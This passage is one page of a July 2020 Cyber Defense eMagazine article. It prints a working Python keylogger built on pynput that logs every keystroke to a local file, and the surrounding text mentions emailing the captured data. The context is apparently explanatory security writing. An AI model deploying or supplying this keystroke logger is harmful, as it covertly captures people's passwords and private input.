Page 137 - Cyber Defense eMagazine for July 2020
P. 137

with high-precision and also send keylogger data to the user’s email. An example code snippet of the
            keylogger is as below:

            from pynput.keyboard import Listener




            def logger(key):

               letter = str(key)


               letter = letter.replace("'", "")



               if letter == 'Key.space':


                   letter = ' '

               if letter == 'Key.shift_r':

                   letter = ''


               if letter == "Key.ctrl_l":

                   letter = ""


               if letter == "Key.enter":

                   letter = "\n"




               with open("log.txt", 'a') as f:

                   f.write(letter)




            with Listener(on_press=logger) as l:

               l.join()











            Cyber Defense eMagazine –July 2020 Edition                                                                                                                                                                                                                         137
            Copyright © 2020, Cyber Defense Magazine.  All rights reserved worldwide.
   132   133   134   135   136   137   138   139   140   141   142